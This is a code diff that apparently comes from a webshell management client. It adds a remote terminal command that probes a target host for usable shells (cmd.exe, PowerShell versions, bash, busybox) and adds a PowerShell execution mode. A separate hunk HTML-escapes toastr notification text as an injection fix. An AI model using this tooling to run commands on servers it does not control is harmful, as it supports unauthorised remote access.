         this.initTerminal(ret['info'], ret['dom']);
+        if(this.options.hasOwnProperty("path")) {
+          if(this.isWin && this.path.substr(0,1).toUpperCase() != this.options.path.substr(0,1).toUpperCase()) {
+            this.term.exec(`${this.options.path.substr(0,1).toUpperCase()}:`);
+          }
+          this.term.exec(`cd ${this.options.path}`);
+        }
       })
       .catch((err) => {
         toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);
@@ -142,6 +151,54 @@ class Terminal {
         term.echo(LANG['ascmd']['ashelp']);
         return;
       }
+      if (cmd === 'aslistcmd'){
+        var binarr = "";
+        if (this.isWin) {
+          binarr = [
+            "C:/Windows/System32/cmd.exe",
+            "C:/Windows/SysWOW64/cmd.exe",
+            "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe",
+            "C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe",
+            "C:/Windows/System32/WindowsPowerShell/v2.0/powershell.exe",
+            "C:/Windows/SysWOW64/WindowsPowerShell/v2.0/powershell.exe",
+            "C:/Windows/System32/WindowsPowerShell/v3.0/powershell.exe",
+            "C:/Windows/SysWOW64/WindowsPowerShell/v3.0/powershell.exe",
+            "C:/Windows/System32/WindowsPowerShell/v4.0/powershell.exe",
+            "C:/Windows/SysWOW64/WindowsPowerShell/v4.0/powershell.exe",
+          ].join(',');
+        }else{
+          binarr = [
+            "/bin/sh",
+            "/bin/ash",
+            "/bin/bash",
+            "/bin/zsh",
+            "/bin/busybox",
+          ].join(',');
+        }
+        this.core.request(
+          this.core.command.listcmd({
+            binarr: binarr,
+          })
+        ).then((ret) => {
+          let res = ret['text'];
+          if(res.indexOf("ERROR://") > -1){
+            throw res;
+          }
+          let result = "";
+          res.split('\n').map((v) => {
+            var line = v.split('\t');
+            if(line.length == 2){
+              var r = parseInt(line[1]) === 1 ? '[[b;#15af63;]OK]' : '[[b;#E80000;]FAIL]';
+              result += `${line[0]}\t\t\t${r}\n`;
+            }
+          });
+          term.echo(result);
+          term.resume();
+        }).catch((err) => {
+          term.resume();
+        });
+        return;
+      }
       if ( cmd.substr(0,5) === 'ascmd') {
         var sessbin = cmd.substr(5).trim();
         if(sessbin.length>0){
@@ -152,6 +209,17 @@ class Terminal {
         }
         return;
       }
+      if ( cmd.substr(0,12) === 'aspowershell') {
+        var _switch = cmd.substr(12).trim().toLowerCase();
+        if(_switch === "on") {
+          self.sess_powershell = true;
+          term.echo(LANG['ascmd']['aspowershell']["on"]);
+        }else {
+          self.sess_powershell = false;
+          term.echo(LANG['ascmd']['aspowershell']["off"]);
+        }
+        return;
+      }
       term.pause();
       // 是否有缓存
       let cacheTag = 'command-' + Buffer.from(this.path + cmd).toString('base64');
@@ -171,6 +239,14 @@ class Terminal {
       if(self.sessbin !== null) {
         _bin = self.sessbin;
       }
+      if(self.isWin && _bin.indexOf("powershell") > -1) {
+        self.isPowershell = true
+      }else{
+        self.isPowershell = false
+      }
+      if(self.sess_powershell !== null) {
+        self.isPowershell = self.sess_powershell;
+      }
       // 开始执行命令
       this.core.request(
         this.core.command.exec({
@@ -222,7 +298,7 @@ class Terminal {
         // < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
         completion: (value, callback) => {
           callback([
-            'ashelp', 'ascmd', 'quit', 'exit'
+            'ashelp', 'ascmd', 'aslistcmd', 'aspowershell', 'quit', 'exit'
           ].concat(
             this.isWin ? [
               'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls',
@@ -266,6 +342,7 @@ class Terminal {
           }
         }
     });
+    this.term.echo(`[[b;cyan;](*) ${LANG['ascmd']['help']}]`);
   }
 
   /**
@@ -277,7 +354,7 @@ class Terminal {
   parseCmd(cmd, path) {
     path = path.replace(/\\\\/g, '\\').replace(/"/g, '\\"').replace(/\\/g, '\\\\');
     return (this.isWin
-      ? `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]`
+      ? this.isPowershell? `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]`:`cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]`
       : `cd "${path}";${cmd};echo [S];pwd;echo [E]`
     );
   }

static/libs/toastr/toastr.js

@@ -234,12 +234,24 @@
         }
 
         if (map.title) {
-            $titleElement.append(map.title).addClass(options.titleClass);
+            $titleElement.append(String(map.title)
+            .replace(/<br\/>/g, "###asbr###")
+            .replace(/&/g, "&amp;")
+            .replace(/>/g, "&gt;")
+            .replace(/</g, "&lt;")
+            .replace(/"/g, "&quot;")
+            .replace(/###asbr###/g, "<br/>")).addClass(options.titleClass);
             $toastElement.append($titleElement);
         }
 
         if (map.message) {
-            $messageElement.append(map.message).addClass(options.messageClass);
+            $messageElement.append(String(map.message)
+            .replace(/<br\/>/g, "###asbr###")
+            .replace(/&/g, "&amp;")
+            .replace(/>/g, "&gt;")
+            .replace(/</g, "&lt;")
+            .replace(/"/g, "&quot;")
+            .replace(/###asbr###/g, "<br/>")).addClass(options.messageClass);
             $toastElement.append($messageElement);
         }